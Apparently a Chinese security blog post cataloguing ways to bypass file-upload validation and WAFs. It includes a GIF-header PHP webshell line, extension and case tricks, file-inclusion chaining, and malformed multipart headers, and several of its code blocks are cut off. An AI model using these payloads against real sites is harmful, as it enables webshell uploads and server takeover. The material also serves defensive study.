[toc]
1 | POST /upload.php |
请求Header中Content-Type存在以下特征: * multipart/form-data(表示该请求是一个文件上传请求) * 存在boundary字符串(作用为分隔符,以区分POST数据) POST的内容存在以下特征: * Content-Disposition * name * filename * POST中的boundary的值就是Content-Type的值在最前面加了两个–,除了最后标识结束的boundary
文件上传校验姿势
- 客户端javascript校验(一般只校验后缀名)
- 服务端校验
- 文件头content-type字段校验(image/gif)
- 文件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
客户端校验
一般都是用javascript脚本检验上传文件的后缀。
服务端校验
content-type字段校验
模拟web服务器端的校验代码
1 |
|
代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误。
文件头校验
主要是检测文件内容开始处的文件幻数
1 | (1) .JPEG;.JPE;.JPG,”JPGGraphic File” |
文件内容检测
图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息。
1 | GIF89a |
文件加载检测
一般是调用API函数去进行文件加载测试,常见的是图像渲染测试,再变态点的是进行二次渲染。 对渲染/加载测试的攻击方式是代码注入绕过;对二次渲染的攻击方式是攻击文件加载器自身。 二次渲染:相当于是把原本属于图像数据的部分抓了出来,再用自己的API或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。
文件上传绕过校验姿势
客户端绕过
禁用JS,或者用Burp抓包改包。
服务端绕过
文件类型绕过
抓包改Content-type字段。
文件头绕过
在木马内容基础上再加了一些文件信息
1 | GIF89aeval($_POST['test']); |
文件后缀名绕过
前提:黑名单校验 黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。 绕过方法: * 找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类 * 可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
1 | 能被解析的文件扩展名列表: |
配合文件包含漏洞
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。 绕过方式:(这里拿php为例,此漏洞主要存在于PHP中) (1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容; (2)然后再上传一个.php的文件,内容为 这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
1 | #PHP |
配合服务器解析漏洞
配合操作系统文件命令规则
- 上传不符合windows文件命名规则的文件名
1 | test.asp. |
会被windows系统自动去掉不符合规则符号后面的内容。 * linux下后缀名大小写
CMS、编辑器漏洞
配合0x00截断
WAF Bypass
WAF如何拦截
- 解析文件名,判断是否在黑名单内。
- 解析文件内容,判断是否为webshell。
- 文件目录权限
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。
垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。 * 构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验; * 将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验
* 将垃圾数据加到Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
多个filename
早期版本安全狗,可以多加一个filename
1 | Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php" |
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
1 | Content-Disposition: form-data; filename="xx.php"; name=file_x |
去掉引号,双引号变成单引号
1 | Content-Disposition: form-data; name=file_x; filename="xx.php" |
单引号、双引号、不要引号,都能上传。
大小写
对这三个固定的字符串进行大小写转换 * Content-Disposition * name * filename
空格
在: ; =添加1个或者多个空格。
去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
1 | Content-Disposition: name='file_x'; filename='xx.php' |
多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
1 | ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 |
多个分号
文件解析时,可能解析不到文件名,导致绕过。
1 | Content-Disposition: form-data; name="file_x";;; filename="test.php" |
Header在boundary前添加任意字符
PHP支持,JAVA报错
1 | Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2 |
filename换行
PHP支持,Java不支持。
1 | Content-Disposition: form-data; name="file_x"; file |
name和filename添加任意字符串
PHP支持,Java不支持。
1 | Content-Disposition: name="file_x"; bypass waf upload; filename="test.php"; |
POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
参考
https://www.secfree.com/article-585.html https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/